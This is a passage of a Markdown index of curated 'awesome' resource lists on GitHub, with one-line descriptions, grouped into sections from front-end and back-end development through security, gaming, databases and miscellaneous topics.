- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
